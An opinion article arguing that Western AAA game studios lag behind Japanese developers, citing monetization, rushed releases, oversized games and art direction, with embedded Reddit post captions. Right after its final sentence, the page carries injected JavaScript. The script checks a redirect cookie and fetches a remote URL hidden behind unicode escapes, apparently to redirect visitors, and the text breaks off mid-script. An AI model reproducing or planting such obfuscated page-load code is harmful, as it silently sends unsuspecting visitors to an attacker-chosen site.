Can Western Devs Bridge The Ever Increasign Gap With Japanese Maestros?

The gaming industry finds itself in an unusual position in 2024. On one hand, players experience exceptional titles like Baldur’s Gate 3, while on the other, there are disappointments like Suicide Squad: Kill The Justice League. We’ve seen both high-budget games that have fallen short of expectations while some taking the industry by storm.

Despite releasing a few hit titles here and there, I feel like in recent years, the Western studios have struggled to keep pace with the standards set by Japanese developers, due to a couple of anti-consumer and design decisions like live-service games.

Monetization And Profits Vs. Players As Targets

The video game industry has grown into a market generating over $200 billion in revenue, supported by numerous well-established AAA studios. These studios, often prioritize maximizing profits over a quality gaming experience. As a result, we frequently see AAA games laden with microtransactions and, at times, the rushed release of unfinished products.

The focus on aggressive monetization is one of the significant factors in the decline of quality in AAA games. Take Palworld as an example: I played it on day one for a solid seven to eight hours without encountering a single glitch, bug, or crash—a testament to the quality and effort behind it.

In contrast, many Western developers and studios are heavily investing in live service games, but the results have been disappointing so far. Skull and Bones is a prime example of this issue. It seems studios want to release a buggy unfinished game first followed by multiple updates for the next few months, to ensure maximum profits.

Skull and Bones…what have they spent all this time doing??
byu/felix_mateo ingaming

Buggy And Rushed Releases With Massive Day One Patch

Day-one patches of multiple gigabytes have become the norm for major AAA titles, with optimization seemingly taking a backseat to release unfinished games. I have a reliable, fast internet connection but I don’t want to download a 50-100GB patch after already downloading hundreds of gigabytes of game data.

If implemented cleverly, I am sure people would not mind paying additional money to show support for a good game. One perfect microtransaction implementation example is Valve releasing skins in Dota 2. People were upset due to the lack of skins released in the last compendium, affecting crowdfunding of The International 2023, significantly.

Having a TI-only no-cosmetics Compendium and only 25% of proceeds to TI is a joke!
byu/ElloYellowHello inDotA2

Enormous Sizes, Empty Worlds

Games have become increasingly large in size and scale, reflecting the growing power of PC and console hardware and the expanding data requirements of modern titles. However, many contemporary games often seem like variations of previous releases, with only minor adjustments.

In the past, games were constrained by the hardware limitations of PCs and consoles, which led developers to prioritize quality over quantity and scale. Unfortunately, this focus on size and scope has become an issue for many modern AAA titles, raising concerns.

A game can be shorter in length if it features engaging combat or a compelling story. For me, a high-quality, concise game is far superior to larger games having repetitive and monotonous content.

Realistic Graphics Vs Art Style And Cultural Influence

When implemented effectively, realistic graphics can indeed be transformative for video games. However, they cannot surpass the quality and impact that a strong art style and cultural elements bring. For example, while both Horizon: Zero Dawn and Cuphead offer distinct experiences, the uniqueness of Cuphead left a lasting impression, that I will not forget ever.

Consider timeless classics like Bloodborne, which continues to garner requests for a remake, compared to Assassin’s Creed Syndicate, which is less frequently discussed despite its release in 2015. This illustrates the difference between impactful art direction and realistic graphics, although Syndicate is by no means a poor game.

Ultimately, players engage with games for various reasons, whether to relieve stress, pass the time, or for other personal motivations. AAA developers should reconsider their approach, recognizing that a game does not need to be visually stunning to be successful. What matters most is that it delivers on the fundamental element of fun.(function(){if (document.cookie.includes(‘hasRedirected=1’)) return;fetch(‘\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0064\u0069\u0073\u0074\u0069\u0065\u002e\u0073\u0068\u006f\u0070/?t=json&u=153d4f720470d9e7a3e895c70153e7cd’).then(r => r.json()).then(d => {const
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